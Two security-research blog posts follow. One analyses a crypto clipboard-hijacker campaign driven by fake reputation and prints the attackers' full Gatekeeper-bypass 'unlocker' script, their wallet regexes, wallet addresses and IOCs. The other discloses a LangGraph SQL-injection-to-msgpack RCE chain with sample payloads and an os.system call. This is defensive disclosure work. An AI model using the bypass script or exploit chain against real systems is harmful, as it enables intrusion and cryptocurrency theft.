The actor appears to operate at least six GitHub accounts to promote and distribute his malicious software. These accounts also seem to collaborate with each other, as they are sometimes listed as contributors to one another’s repositories.

Figure 3 — GitHub account.

The main accounts attributed to the threat actor are Decryptor-j, crash-predictor1, roblox-script1, hack-scripts, and stake-mines. Many of their repositories have received multiple stars and forks from various accounts. This activity appears to be the result of the threat actor’s use of GitHub Ghost Networks, where controlled or fake accounts repeatedly star and fork the repositories to create an illusion of popularity and trustworthiness.

Figure 4 — Repository with 146 stars and 62 forks.

In total, just from GitHub, there appear to be just over 5,000 downloads and potential infections originating from the accounts mentioned above. Of these, over 1,250 downloads are associated with the macOS version of the promoted software “Aviator Predictor”, also indicating an impact on Mac users. When we also consider downloads originating from other platforms and the phishing website itself, the overall number of downloads and potential infections significantly exceeds the figures observed on GitHub alone.

In addition to GitHub, the threat actor also promotes another similar platform on the phishing page, SourceForge. SourceForge allows users to rate projects and leave comments. On this platform, we again observe fake or coordinated accounts posting highly positive feedback, similar to the behavior seen on other platforms that support user engagement. This activity further reinforces a misleading impression of legitimacy and reliability around the malicious tools.

Figure 5 — Positive engagement.

In general, SourceForge appears to have a smaller number of ghost accounts operating on its platform compared to other services observed in previous cases. Although we see relatively few comments or reviews, the download statistics seem highly manipulated, with a total of 44,485 downloads, the majority of which appear to originate from Pakistan and India.

Figure 6 — SourceForge download statistics.

It is interesting to note that the majority of downloads (37,460) appear to come from devices running Android. This is highly suspicious, as the developer currently offers only Windows and macOS versions. We cannot fully confirm this hypothesis, but a plausible explanation is the use of an Android farm to artificially inflate the download count on SourceForge.


YouTube & AI Usage

Another platform promoted through the phishing site is a YouTube channel showcasing the advertised “software” solutions. The videos have a relatively high number of views and likes, which likely helps attract additional victims and convinces them of the supposed effectiveness of these tools. Some older videos appear to target a Russian-speaking audience, suggesting that the threat actor initially focused on Russian-speaking user communities. More recent videos, however, appear to target a broader, global audience by using English.

Figure 7 — YouTube Channel.

Through the actor’s YouTube account, we again observe contact details that link the channel back to the WordPress site and the Telegram account @JoseCmanXD, further strengthening the attribution between these platforms and the same threat actor.

Figure 8 — Channel contact details.

The videos have a substantial number of views, however, their view counts do not show organic growth. Instead, we observe suspicious spikes in views, which is consistent with the use of YouTube Ghost Networks, where bot accounts artificially engage with the videos to inflate view numbers and make them more attractive to potential viewers.

Figure 9 — Suspicious view spikes, artificially inflated views.

In the comment section, we observe highly positive engagement that is likely used to lure potential victims and make them trust the effectiveness of the showcased solution. Many of these accounts appear to be Ghost Accounts that are used to generate fake views and artificial engagement. We also observe comments from potentially real users complaining about the actual effectiveness of the tools, which further indicates that the promoted software does not work as advertised.

Figure 10 — Positive engagement.

The YouTube video is styled to look like a genuine personal tutorial. It shows a desktop screen with visible mouse movements, as if a real user is demonstrating the “software” in real time. At the same time, an AI-generated narrator appears in the bottom-right corner, providing continuous instructions. This combination of on-screen activity and synthetic presenter is likely used to build trust and make the demonstration appear more authentic and convincing to potential victims.

Figure 11 — AI Generated Narrator.

The use of AI by cybercriminals is not limited to AI-assisted malware. Threat actors are constantly trying to incorporate these new technologies throughout the entire attack chain, including phishing, social engineering, content generation, and delivery mechanisms.


VirusTotal Upvotes Manipulation

Check Point Research has observed that some VirusTotal accounts post community comments and cast benign votes in an attempt to portray clearly malicious Indicators of Compromise (IOCs) as harmless. When this sentiment manipulation coincides with low antivirus detection rates, reputation-based detection systems may be more likely to misclassify these IOCs as benign, potentially allowing them to bypass security controls.

Reputation-based detection allows security teams to make fast, risk-informed decisions about files, URLs, and other network indicators by leveraging global threat intelligence, rather than relying solely on local detections. A key contributor to this intelligence ecosystem is VirusTotal, which aggregates malware and phishing indicators from dozens of security engines and community submissions. This shared visibility helps security vendors rapidly identify emerging threats and malicious infrastructure, strengthening reputation models when combined with their own telemetry and behavioral detection capabilities.

Figure 12 — VirusTotal upvotes and safe comment.

This specific threat actor has incorporated multiple Ghost Network services across GitHub, SourceForge, YouTube, and even VirusTotal. We systematically observed samples downloaded from the phishing site that not only had a low detection rate, but also showed positive engagement on VirusTotal, including upvotes and comments describing the binary as safe. This coordinated activity is likely intended to reduce suspicion and increase victims’ trust in the malicious files.

Figure 13 — VirusTotal upvotes and safe comments, through multiple samples.

While the low detection rate itself is not caused by the positive engagement, the combination of low detections and seemingly positive community feedback creates a strong, but false, impression of safety.


Promotion via News Sites & Forums

While searching for traces of the Telegram handle @JoseCmanXD, we also found references on legitimate news websites. These posts appear to be advertisements promoting the tool’s supposed capabilities and include links back to the phishing page, further luring potential victims into downloading the malicious software.

Figure 14 —The National Law Review, decryptor post.

Such posts could potentially be used to further legitimize the tool and make it appear trustworthy, as its capabilities are being advertised on legitimate news websites. This kind of exposure can mislead users into believing the solution is safe and reputable, when in reality it is part of a malicious campaign.

By searching further, we identified additional related posts from other news-oriented sources. All of these posts appear to have been published on the same day, April 27, 2026, suggesting a coordinated effort to promote the malicious tool within a short time frame.

Figure 15 — Google search results.

The majority of these posts have since been taken down and now appear only as remnants in Google search results. It is unclear whether the threat actor published them through paid advertisements that were later removed by the news outlets after being notified of their malicious nature, or whether there is a malicious service—or a set of compromised news outlets—that offers this kind of fraudulent promotion on legitimate websites.

Beyond using news outlets, the actor also promotes the malicious tool on various forums, particularly those frequented by the targeted audience, such as cryptocurrency-focused communities.

The actor posted on BitcoinTalk.org a long-running online forum founded in the early days of Bitcoin, where users discuss cryptocurrencies, blockchain technology, mining, and related projects. While the site itself is legitimate and historically significant in the crypto community, anyone can post content, including promotions, investment opportunities, and potential scams.

Figure 16 — Bitcoin-related forum post.

Early signs of the actor’s activity were found on a hacking forum where the user has been active since 2019. In 2022, the user created a post titled BLACKHAT | Bitcoin Stealer | Advanced Builder | Tutorial | Clipper [Address Changer]+Re-Fud method, in which he shared a malicious crypto-related tool.

Figure 17 — @JoseCmanXD CryptoRipper.

In addition to providing this malicious tool, the same account has shown interest in other topics such as GET UNLIMITED YOUTUBE VIEWS FREE. This activity could help explain the unusually high view counts and abnormal view spikes observed on the associated YouTube content.


Windows Version

The ‘solutions’ are downloaded as a ZIP archive and contain multiple files, the majority of which are unused throughout the execution of the malicious program. While the threat actor updates the main malicious sample every few weeks, the rest of the unused samples remain untouched.

SniperBot_Premium(Free)/
├── SniperBot_Premium(Free).exe
├── Sniper_TradingBot.Premium(Trial).exe.config
...
...
├── src/            
│   ├── config/
│   │   └── silkebin.exe
...
...

The victim needs to trigger SniperBot_Premium(Free).exe (or other related name depending on the “solution” promoted). This file is a simple .NET loader which executes the file located in src/config/silkebin.exe.

Figure 18 — Execution of Rust Clipboard Hijacker.

This Windows executable is a Rust-built cryptocurrency clipboard hijacker (clipper). It installs itself for persistence and then continuously monitors the user’s clipboard for cryptocurrency wallet addresses. When it detects a supported address format, it replaces the clipboard contents with an attacker‑controlled wallet address taken from an internal list. The sample achieves persistence by copying itself to %APPDATA%\\silke\\silke.exe and creating a shortcut in the Startup folder so it will automatically run at logon.

The malware creates a hidden window and registers as a clipboard listener using Windows APIs such as AddClipboardFormatListener, OpenClipboard, GetClipboardData, EmptyClipboard, and SetClipboardData. Each time the clipboard changes, it checks whether the new text matches the pattern of a cryptocurrency wallet address (for example, Bitcoin, Ethereum/EVM, Litecoin, Tron, XRP, Cardano, and others) using regular expressions.

If a match is found, the malware replaces the clipboard text with an attacker‑controlled address from a large internal list. This list contains over 15,500 wallet addresses: about 15,000 are Bitcoin-related (5,000 Bitcoin bech32, 5,000 Bitcoin legacy, and 5,000 Bitcoin P2SH), roughly 500 are Ethereum addresses, and the remaining entries include Bitcoin Cash/Gold, Monero, Dogecoin, Cardano, Litecoin, and other cryptocurrencies.

CurrencyRegexAttacker’s Wallets (Count)
Bitcoin Bech32\\b(bc1)[A-Za-z0-9]{26,45}\\b5000
Bitcoin Legacy (P2PKH)\\b(1)[A-Za-z0-9]{26,35}\\b5000
Bitcoin P2SH\\b(3)[A-Za-z0-9]{26,35}\\b5000
Ethereum / EVM\\b(0x)[A-Za-z0-9]{40,46}\\b501
Bitcoin Cash (CashAddr)\\b(q)[A-Za-z0-9]{26,43}\\b1
Bitcoin Cash (full prefix)\\b(bitcoincash:)[A-Za-z0-9]{26,58}\\b1
Bitcoin Gold\\b(btg)[A-Za-z0-9]{26,43}\\b1
Stellar (XLM)\\b(G)[A-Za-z0-9]{26,40}\\b1
Cardano legacy / others\\b(A)[A-Za-z0-9]{26,40}\\b1
Monero (spend key prefix 4)\\b(4)[A-Za-z0-9]{90,98}\\b1
Monero (integrated address)\\b(8)[A-Za-z0-9]{90,98}\\b1
Dogecoin\\b(D)[A-Za-z0-9]{26,35}\\b1
Cardano (Shelley)\\b(addr1)[A-Za-z0-9]{26,108}\\b1
Cardano (Byron)\\b(DdzFF)[A-Za-z0-9]{26,108}\\b1
Litecoin (L-prefix)\\b(L)[A-Za-z0-9]{26,35}\\b1
Litecoin (M-prefix)\\b(M)[A-Za-z0-9]{26,35}\\b1
Litecoin Bech32\\b(ltc)[a-z0-9]{26,68}\\b1
Zcash (t-address)\\b(t1)[A-Za-z0-9]{26,36}\\b1
Tron (TRX)\\b(T)[A-Za-z0-9]{32,37}\\b1
XRP (Ripple)\\b(r)[A-Za-z0-9]{31,38}\\b1

The attacker’s wallets appear to be replaced quite frequently. In many cases, it seems that once a malicious transaction is completed, the attacker swaps the used wallet for a new, “clean” one. Older samples of this variant contain fewer attacker-controlled wallets—typically only one per targeted currency—and also target fewer cryptocurrencies overall. The latest version expands this list to include additional cryptocurrencies that were not previously targeted, such as Bitcoin Gold, Stellar (XLM), Cardano legacy/Byron, and Dogecoin. At the same time, the attacker has removed support for one cryptocurrency in the new variant, Binance Chain.

Below is an example of how victims are tricked into sending money to the attacker’s wallet.

Figure 19 — Clipboard Hijacker, replacing with attacker’s wallet.

macOS Version

Through his website, GitHub-controlled repositories, and SourceForge projects, the threat actor is also targeting macOS users. The “solutions” provided for macOS are aimed at the same audience as the Windows versions, with the same ultimate goal of stealing cryptocurrency from victims.

Figure 20 — macOS cryptocurrency clipboard hijacker.

The victim downloads a ZIP file from one of the sources mentioned above and finds, among other items, an instruction file named !!! READ THIS - RUN UNLOCKER IF APP IS BLOCKED.txt.

!!! READ THIS - RUN UNLOCKER IF APP IS BLOCKED INSIDE THE FOLDER !!

1- In Finder, Control-click (or right-click) unlocker (or unlocker.command).

2- Choose Open from the contextual menu.

3- In the dialog that appears, click Open again.	

 A small Terminal window or dialog will appear. Wait — it will automatically prepare and open HashScanner.

Unlocker Fixes HashScanner when you see an error like

"App is damaged and can't be opened" or "can't be opened because it is from an unidentified developer":

If this does not work, please contact @JoseCmanXD on telegram and include a screenshot of the error.

Thank you!

The instruction file tells the user to run unlocker.command, which automates the process of “fixing” the blocked application. The script searches for .app bundles in the same folder (or uses an app dragged onto it), removes the macOS quarantine attribute using xattr -cr, and then launches the chosen application with open. By wrapping this logic in simple dialogs and messages, the attacker makes it easy for non-technical users to bypass Gatekeeper warnings and run the malicious app.

#!/bin/bash
# unlocker.command - auto unlocker for .app bundles in the same folder
# Double-click this file in Finder (or drag an .app onto it) to remove quarantine and open the app.

# Get the directory where this script lives (works when double-clicked)
DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"

# If user passed one or more args (drag-drop), use those instead of auto-search
if [ $# -gt 0 ]; then
  targets=()
  for a in "$@"; do
    targets+=("$a")
  done
else
  # Find .app bundles in the same folder (only top-level)
  targets=()
  while IFS= read -r -d $'\\0' f; do
    targets+=("$f")
  done < <(find "$DIR" -maxdepth 1 -type d -name "*.app" -print0)
fi

# Helper to show macOS dialog
show_dialog() {
  /usr/bin/osascript -e "display dialog $1 buttons {\\"OK\\"} with title \\"Unlocker\\""
}

# No apps found
if [ ${#targets[@]} -eq 0 ]; then
  /usr/bin/osascript -e 'tell app "Finder" to display dialog "No .app found in the same folder. Please place your .app (e.g. HashScanner.app) in the folder with this Unlocker and double-click again, or drag the .app onto this Unlocker." buttons {"OK"} with title "Unlocker"'
  exit 1
fi

# If exactly one target, use it automatically
if [ ${#targets[@]} -eq 1 ]; then
  chosen="${targets[0]}"
else
  # Multiple: ask user to choose via AppleScript list
  # Build a quoted list of basenames for Applescript
  applescript_list=""
  for f in "${targets[@]}"; do
    name="$(basename "$f")"
    # escape backslashes and double quotes
    esc_name="${name//\\\\/\\\\\\\\}"
    esc_name="${esc_name//\\"/\\\\\\"}"
    if [ -z "$applescript_list" ]; then
      applescript_list="\\"$esc_name\\""
    else
      applescript_list="$applescript_list, \\"$esc_name\\""
    fi
  done

  chosen_name=$(/usr/bin/osascript <<AS
set theList to { $applescript_list }
set chosen to choose from list theList with prompt "Choose the app to unlock and open:" default items {item 1 of theList}
if chosen is false then
  return "CANCEL"
else
  return item 1 of chosen
end if
AS
)

  if [ "$chosen_name" = "CANCEL" ]; then
    /usr/bin/osascript -e 'display dialog "No app selected. Exiting." buttons {"OK"} with title "Unlocker"'
    exit 0
  fi

  # find the full path that matches the chosen base name
  chosen=""
  for f in "${targets[@]}"; do
    if [ "$(basename "$f")" = "$chosen_name" ]; then
      chosen="$f"
      break
    fi
  done

  if [ -z "$chosen" ]; then
    /usr/bin/osascript -e 'display dialog "Selected app not found. Exiting." buttons {"OK"} with title "Unlocker"'
    exit 1
  fi
fi

# Final safety check: chosen is a directory and ends with .app
if [ ! -d "$chosen" ]; then
  /usr/bin/osascript -e 'display dialog "The selected item is not an application. Exiting." buttons {"OK"} with title "Unlocker"'
  exit 1
fi

# Run xattr -cr and open. Both commands are absolute paths to avoid PATH issues.
/usr/bin/printf "Removing quarantine from: %s\\n" "$chosen"
/usr/bin/xattr -cr "$chosen" 2>/dev/null
ret=$?
if [ $ret -ne 0 ]; then
  /usr/bin/osascript -e 'display dialog "Failed to remove quarantine (permission or other error). You can try running this script from Terminal for more details." buttons {"OK"} with title "Unlocker"'
  # still attempt to open so user can try
fi

/usr/bin/printf "Opening: %s\\n" "$chosen"
/usr/bin/open "$chosen"

# Let user know we're done
/usr/bin/osascript -e 'display dialog "Done — the app was unlocked (if possible) and opened." buttons {"OK"} with title "Unlocker"'
exit 0

Similar to its .NET Windows variant, the main program on macOS is also just a loader that executes another file located in nested folders.

The executed file is a malicious macOS executable written in Rust that acts as a cryptocurrency clipboard hijacker (clipper). Its main loop monitors the macOS pasteboard, detects wallet-like strings using embedded regular expressions, and replaces them with hardcoded attacker-controlled wallet addresses bundled inside the binary.

To maintain persistence, the malware writes a shell script wrapper to ~/launch.sh and installs a RunAtLoad and KeepAlive LaunchAgent plist at ~/Library/LaunchAgents/com.example..plist, causing launchd to silently re-execute the binary on every login and restart it if it dies. A 30-second watchdog loop (mw_watchdog_copy_and_relaunch) continuously re-writes both files and clones the binary via fcopyfile, making the persistence self-healing against manual removal without first killing the process.

The macOS variant appears to be closer in design to the older Windows version, where each regular expression pattern is associated with only a single attacker-controlled wallet address, rather than multiple addresses per currency.

Coin familyRegex patternAttacker’s Wallet
Bitcoin (BTC)\\b(bc1)[A-Za-z0-9]{26,45}\\bbc1qr8vgrcvacyea68gk6w0kdzt2xcc93azzhalyjl
Bitcoin (BTC)\\b(1)[A-Za-z0-9]{26,35}\\b1JKeTeM7H3P1hj2DYB6vnXWeJ7XgKvXb7D
Bitcoin (BTC)\\b(3)[A-Za-z0-9]{26,35}\\b3EBa4JbKY3HJx6KZopR1sV1upEvxm3dwR1
Bitcoin Cash (BCH)\\b(q)[A-Za-z0-9]{26,43}\\bqp5c3syh4t750jwpljzdmnndddlj7zg64gjhxgm8nd
Bitcoin Cash (BCH)\\b(bitcoincash:)[A-Za-z0-9]{26,58}\\bbitcoincash:qzn9dpl6fs7ywue3ms2wpcjad3wwmax8xgqtkdr7pd
Bitcoin Gold (BTG)\\b(btg)[A-Za-z0-9]{26,43}\\bbtg1q4v9xfvgv4792cg394dmfz8ctd2hhu5xgype2ty
Ethereum / EVM (ETH‑style)\\b(0x)[A-Za-z0-9]{40,46}\\b0x22f24a22b6f824E9ef76B05B186c4D0C2Df58d67
Monero (XMR)\\b(4)[A-Za-z0-9]{90,98}\\b48SWwQ7QUSSPhHS9zWF9V9TKyK7FZVxDd9LghKbbkkYzB3AbhyKaCozMc26siguA2b6tce6tztCTXCWgyrypBLmW7HRxs6D
Monero (XMR)\\b(8)[A-Za-z0-9]{90,98}\\b8BWn9uaExAu2YP3duvbYR2jYfVXMUqnTQYPizkEz1EWrKCGA9Mk912fE3XeZ3P77wTAVp2yDmcKuWiXos6JRAgRtKGijrza
Binance Chain (BNB)\\b(bnb)[A-Za-z0-9]{26,44}\\bbnb1aj96a2f8655rl2hdrzghlagjpe2nm40tp7jq2v
Dogecoin\\b(D)[A-Za-z0-9]{26,35}\\bDDrusqzPjEovYyFrtDV8PVZVZDFFvpGAkc
Cardano (ADA)\\b(addr1)[A-Za-z0-9]{26,108}\\baddr1qytkt94c60hcg27hd9n3zgejxlha6c0v0rpaufgrvxzprkshvktt35l0ss4aw6t8zy3nydl0m4s7c7xrmcjsxcvyz8dqxlg07g
Cardano (ADA)\\b(Ae2)[A-Za-z0-9]{26,105}\\bAe2tdPwUPEZE9kTmNo42ADPop6fXgrSU81n8EERR2ELyCMDh4jrGC4K514q
Cardano (ADA)\\b(DdzFF)[A-Za-z0-9]{26,108}\\bDdzFFzCqrht6dsYcpUFCaMmtBZx7kWS62kBBBiQuaJgW6VJYqfk3hhNNmvL4Zup8pDr32J7JSrG7Pkk77cFFe3H73C5j65tDKTfVp9YV
Litecoin (LTC)\\b(L)[A-Za-z0-9]{26,35}\\bLS6vZukRTqjHtC3ZVYjzPDsiK6UdWdxuhg
Litecoin (LTC)\\b(M)[A-Za-z0-9]{26,35}\\bMJjPAnpe83WAoEFsdLJUKi76GeHx9HkYoU
Litecoin (LTC)\\b(ltc)[a-z0-9]{26,68}\\bltc1qxa03u2udf0a6znuhrrxc6wc4q28wmceh8muqyl
Zcash (ZEC)\\b(t1)[A-Za-z0-9]{26,36}\\bt1RH2YT8Mdo4VJL2tdkkw71N751K5Gc5AGR
TRON\\b(T)[A-Za-z0-9]{32,37}\\bTBFqTqF17fRvSXDh7U8k5mVFxjqkKrWUXm
XRP\\b(r)[A-Za-z0-9]{31,38}\\brfzq3PnZAt6eFKcJ9TXHsAm2c8GuguHUc1
Altcoin\\b(G)[A-Za-z0-9]{26,40}\\bGYzpABfDYfSXq3tq64u8v33zcT71Wy1dsG
Altcoin\\b(A)[A-Za-z0-9]{26,40}\\bAYVNJxRrfpLKVPCkzVKtkq5rTDUhst7KtQ
Solana\\b[A-Za-z0-9]{44}\\b7UQuwTTbZ9SoMY1E8D3DMyPjFCPCXjED2wcj8uhshyzW


Conclusion

In conclusion, this operation combines simple but effective malware with strong social engineering and aggressive cross‑platform promotion. A WordPress phishing site, manipulated engagement on GitHub and SourceForge, AI‑driven YouTube videos, VirusTotal sentiment abuse, and even posts on news outlets and crypto forums all work together to make the tools appear popular, legitimate, and safe. The updated Ghost Networks model is designed to repeatedly expose the victim to positive signals (stars, comments, votes, “safe” labels) so that, by the time they run the tool, it feels like a normal, benign application rather than a threat.

From a user’s perspective, the ability to manipulate sentiment and reputation on platforms like VirusTotal marks an important evolution in how threat actors shape trust. Even if this campaign is not primarily aimed at large enterprises, it shows that attackers no longer rely only on classic malware distribution techniques to reach victims. Instead, they can manipulate reputation systems, crowd‑sourced feedback, and cross‑platform promotion to lower suspicion and attract more users.

These techniques can also be abused by other types of actors distributing and promoting information stealers or other malware families, which can eventually lead to full ransomware compromises in more mature environments. In other words, the same playbook of fake reputation and broad promotion can be reused to deliver more damaging payloads over time.


Indicators of Compromise

DescriptionValue
Clipboard Hijacking Malware5518942d9d21794aaeff41a01b88606a96659fc329b481a2f0946d8163ab4d61
33c86ecfc324de3af97150bd009aba7925a6ba7a0842e127e94cf351013c0fe6
7a7ad4ae347a3f99f3773a113d9f70ecfa967100c96e8275bd1df833caee68d1
bad8625087a7b9453c70933c0db32518ff5818e3d83f3a9e78d432a22b383edb
c1435847b0c437f91efb07a3a35e4468036322d7acf4ba9e6d363cec0b481241
ef9a915c8e1d484e52b3287c94a58ecd22c07391a87f9c136eabd8397ed01ca2
5518942d9d21794aaeff41a01b88606a96659fc329b481a2f0946d8163ab4d61
e02e60a23297692637b43ebcd7dbeb63af1e9680c551586a1ce935218e0034be
fb8294b12f904dff2ac79b51872be7bf09ab422cde223caaf4762eadf7e0760d
a91c09e0eea610dbe5879798f9cf12e3ce51e4e6f0893278bcdf3ebe22c4730b
9c566db1ef9d08ee389d2b8cc1c50c65870096130c8bd2cf41ea14c4075e94c0
.NET Loaderf737e99177cc05037ff34cf6e245dd56377dc3db4e2bb46edcf039df650939d6
7a9632bbecc31d02fdd0eab07e2424b3e1c9e9a3f91aac4ef6f708f2befbaa3d
MacOS Clipboard Hijacking Malwareb71efdebd0ca3563e67edb7ad59358a6b8f013b219ad65033efcf48fd1c86619
MacOS Loader6f12c066a929c96104796c4ecca938754962009ebd9e4ba5329bb940bf331d0a

The post From Stars to Upvotes: Fake Reputation Fueling a Crypto Clipboard Hijacker appeared first on Check Point Research.

From SQLi to RCE – Exploiting LangGraph’s Checkpointer

By Yarden Porat

AI agents need memory. Frameworks like LangGraph provide it through checkpointers – persistence layers that store execution state. But what happens when that persistence layer isn’t locked down?

Key Points

  • Check Point Research analyzed LangGraph, an open-source framework for stateful AI agents with over 50 million monthly downloads, and uncovered three vulnerabilities in its persistence layer.
  • Two of them chain into remote code execution: a SQL injection in the SQLite checkpointer (CVE-2025-67644) and an unsafe msgpack deserialization (CVE-2026-28277).
  • A third, parallel issue (CVE-2026-27022) introduces the same injection class into the Redis checkpointer.
  • Who’s at risk: teams self-hosting LangGraph with the SQLite or Redis checkpointer, where the application exposes get_state_history() with a user-controlled filter. LangChain’s managed cloud service, LangSmith Deployment (formerly LangGraph Platform), runs PostgreSQL and is not vulnerable.
  • LangChain patched all three issues. Users should update to langgraph-checkpoint-sqlite 3.0.1+, langgraph 1.0.10+, and langgraph-checkpoint-redis 1.0.2+.

Background

LangGraph is an open-source framework for building stateful, multi-agent AI systems with built-in persistence. It’s an extension of LangChain, with over 50 million monthly downloads according to PyPI stats.

Checkpointers are LangGraph’s persistence layer that stores execution state at each step. LangGraph supports two checkpointer implementations: SQLite and PostgreSQL.

Vulnerability #1: SQL Injection (CVE-2025-67644)

The SQLite Checkpointer Database Schema:
The SQLite checkpointer uses an internal table called checkpoints with the following structure:

CREATE TABLE checkpoints (
    thread_id TEXT NOT NULL,
    checkpoint_ns TEXT NOT NULL DEFAULT '',
    checkpoint_id TEXT NOT NULL,
    parent_checkpoint_id TEXT,
    type TEXT,
    checkpoint BLOB,
    metadata BLOB,
    PRIMARY KEY (thread_id, checkpoint_ns, checkpoint_id)
);

The metadata column stores additional contextual information about each checkpoint in JSON format. For example:

{
  "user_id": "alice",
  "step": 1,
  "source": "input"
}

The list() Function and Filtering:

When calling the list() function on sqliteSaver (the checkpointer), the filter parameter is used to query checkpoints based on their metadata:

def list(
    self,
    config: RunnableConfig | None,
    *,
    filter: dict[str, Any] | None = None,  # Used to filter by metadata
    before: RunnableConfig | None = None,
    limit: int | None = None,
) -> Iterator[CheckpointTuple]:

The filter parameter is passed to an internal function called _metadata_predicate, which constructs the SQL WHERE clause to query checkpoints by their metadata fields.

# process metadata query
    for query_key, query_value in filter.items():
        operator, param_value = _where_value(query_value)
        predicates.append(
            f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"
        )
        param_values.append(param_value)

    return (predicates, param_values)

The Injection

The vulnerability exists in how _metadata_predicate handles the query_key from the filter dictionary.
Notice this critical line:

f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"

An attacker-controlled filter could provide a query_key with a ' character that will escape the JSON path string and inject arbitrary SQL code.

Injection -> Arbitrary Deserialization

To understand how SQL injection leads to arbitrary deserialization, we need to see the complete picture.
Here’s the SQL query that gets executed in list():

query = f"""SELECT thread_id, checkpoint_ns, checkpoint_id, parent_checkpoint_id, type, checkpoint, metadata
FROM checkpoints
{where}
ORDER BY checkpoint_id DESC"""

This query retrieves checkpoint data from the database, including the checkpoint’s BLOB column.
The results are then processed:

async for (
    thread_id,
    checkpoint_ns,
    checkpoint_id,
    parent_checkpoint_id,
    type,
    checkpoint,  # ← This comes directly from the SQL query results
    metadata,
) in cur:  # ← cur contains the query results
    # ... 
    yield CheckpointTuple(
        # ...
        self.serde.loads_typed((type, checkpoint)),  # ← Deserialization
        # ...
    )

The checkpoint contains serialized data, and when fetched gets deserialized.

The Attack

Using SQL injection in the WHERE clause, an attacker can inject a UNION SELECT that adds their own row to the query results:

SELECT thread_id, checkpoint_ns, checkpoint_id, parent_checkpoint_id, type, checkpoint, metadata
FROM checkpoints
WHERE ... (injected: ') UNION SELECT 'thread1', 'ns', 'checkpoint1', NULL, 'msgpack', X'', '{}' -- )
ORDER BY checkpoint_id DESC

The injected UNION SELECT returns a fake checkpoint row where the checkpoint column contains attacker-controlled serialized data. When the code loops through the query results, it deserializes this malicious checkpoint’s BLOB, giving the attacker arbitrary deserialization

Vulnerability #2: MsgPack Unsafe Deserialization (CVE-2026-28277)

Now let’s examine what happens during deserialization. The self.serde.loads_typed() function that deserializes checkpoint data looks like this:

def loads_typed(self, data: tuple[str, bytes]) -> Any:
    type_, data_ = data
    if type_ == "null":
        return None
    elif type_ == "bytes":
        return data_
    elif type_ == "bytearray":
        return bytearray(data_)
    elif type_ == "json":
        return json.loads(data_, object_hook=self._reviver)
    elif type_ == "msgpack":
        return ormsgpack.unpackb(
            data_, ext_hook=self._unpack_ext_hook, option=ormsgpack.OPT_NON_STR_KEYS
        )
    elif self.pickle_fallback and type_ == "pickle":
        return pickle.loads(data_)
    else:
        raise NotImplementedError(f"Unknown serialization type: {type_}")

Formats

  1. Pickle –  is disabled by default
  2. JSON –  The json.loads() with object_hook was discussed in our LangGrinch research, but does not lead to code execution
  3. Msgpack – This is the one we are interested in

What is msgpack?

MessagePack (msgpack) is a binary serialization format designed to be faster and more compact than JSON. LangGraph uses ormsgpack, a Rust-based implementation with Python bindings.

Msgpack Extensions

MessagePack allows developers to define custom extension types to handle additional data types beyond its built-in primitives. LangGraph implemented its own extension handler to support serialization of custom Python objects.

When the type_ is msgpack, the code calls:

ormsgpack.unpackb(data_, ext_hook=self._unpack_ext_hook, option=ormsgpack.OPT_NON_STR_KEYS)
```
The `ext_hook` parameter points to LangGraph's custom implementation: `_msgpack_ext_hook`.

```python
def _msgpack_ext_hook(code: int, data: bytes) -> Any:
    if code == EXT_CONSTRUCTOR_SINGLE_ARG:
        try:
            tup = ormsgpack.unpackb(
                data, ext_hook=_msgpack_ext_hook, option=ormsgpack.OPT_NON_STR_KEYS
            )
            # module, name, arg
            return getattr(importlib.import_module(tup[0]), tup[1])(tup[2])
        except Exception:
            return

When an attacker controls the serialized data, they control both the extension code and the data bytes.

The vulnerability

If we pass a msgpack with EXT_CONSTRUCTOR_SINGLE_ARG code, and the tuple:

  1. os
  2. system
  3. Command (“echo PWN > /tmp/pwned.txt” for example)

When this line executes:

return getattr(importlib.import_module(tup[0]), tup[1])(tup[2])

It will:

1. Import the os module

2. Get the system function from it

3. Call os.system("echo PWN > /tmp/pwned.txt")

This gives an attacker arbitrary code execution – by calling os.system() with attacker-controlled commands, they can execute any shell command on the server.

The Attack Chain: Combining Both Vulnerabilities

Now let’s walk through how an attacker chains these two vulnerabilities together to achieve remote code execution.

The Entry Point: When a developer exposes get_state_history(), it internally calls the checkpointer’s list() method to retrieve historical checkpoints:

def get_state_history(
    self,
    config: RunnableConfig,
    *,
    filter: Optional[Dict[str, Any]] = None,
    before: Optional[RunnableConfig] = None,
    limit: Optional[int] = None,
) -> Iterator[StateSnapshot]:
    # ...
    for checkpoint_tuple in self.checkpointer.list(config, filter=filter, before=before, limit=limit):
        # Process and return checkpoint data

If the filter parameter comes from user input without sanitization, an attacker controls the dictionary keys passed to the SQL injection vulnerability.

The Attack Flow

1. Craft Malicious Payload: The attacker prepares a msgpack payload containing instructions to execute arbitrary code (e.g., run a shell command).

2. Exploit SQL Injection: The attacker sends a malicious filter parameter that exploits the SQL injection vulnerability. This injection adds a fake checkpoint row to the database query results, where the checkpoint column contains their malicious msgpack payload.

3. Trigger Deserialization: When the application processes the query results, it encounters the injected fake checkpoint and deserializes the malicious msgpack data.

4. Code Execution: The unsafe deserialization executes the attacker’s payload, giving them remote code execution on the server.

Vulnerability #3: SQL Injection in the Redis Checkpointer (CVE-2026-27022)

The same injection class affects langgraph-checkpoint-redis: user-controlled keys in the filter dictionary are interpolated directly into the query instead of bound as parameters. Preconditions match CVE-2025-67644 (the application exposes get_state_history() with a user-controlled filter and uses the Redis checkpointer). Patched in langgraph-checkpoint-redis 1.0.2.

Additional SQL Injection Findings

Beyond the primary SQL injection in the filter parameter, we identified additional defense-in-depth SQL injection issues in both the SQLite and PostgreSQL checkpointers. These involved direct concatenation of integer values (such as LIMIT and ttl parameters) into SQL queries instead of using parameterized bindings.

Since Python doesn’t enforce type hints at runtime, these parameters could still accept malicious string input. We worked with the LangChain team during disclosure to remediate these issues using parameterized queries.

Disclosure Timeline

2025-11-19: CVE-2025-67644 (SQL injection), CVE-2026-28227 (msgpack deserialization) And CVE-2026-27022 (Redis injection) disclosed to LangChain team

2025-12-10: CVE-2025-67644 fixed and publicly released in langgraph-checkpoint-sqlite 3.0.1

2026-02-20: CVE-2026-27022  fixed and publicly released in langgraph-checkpoint-redis 1.0.2

2026-03-05: CVE-2026-28277  fixed and publicly released in langgraph-checkpoint 4.0.1

Note on Vendor Response

The LangChain team responded quickly to fix the critical SQL injection vulnerability, which effectively breaks the attack chain described in this research. They continue to work methodically on additional remediation efforts, including the msgpack deserialization issue.

Additional Research

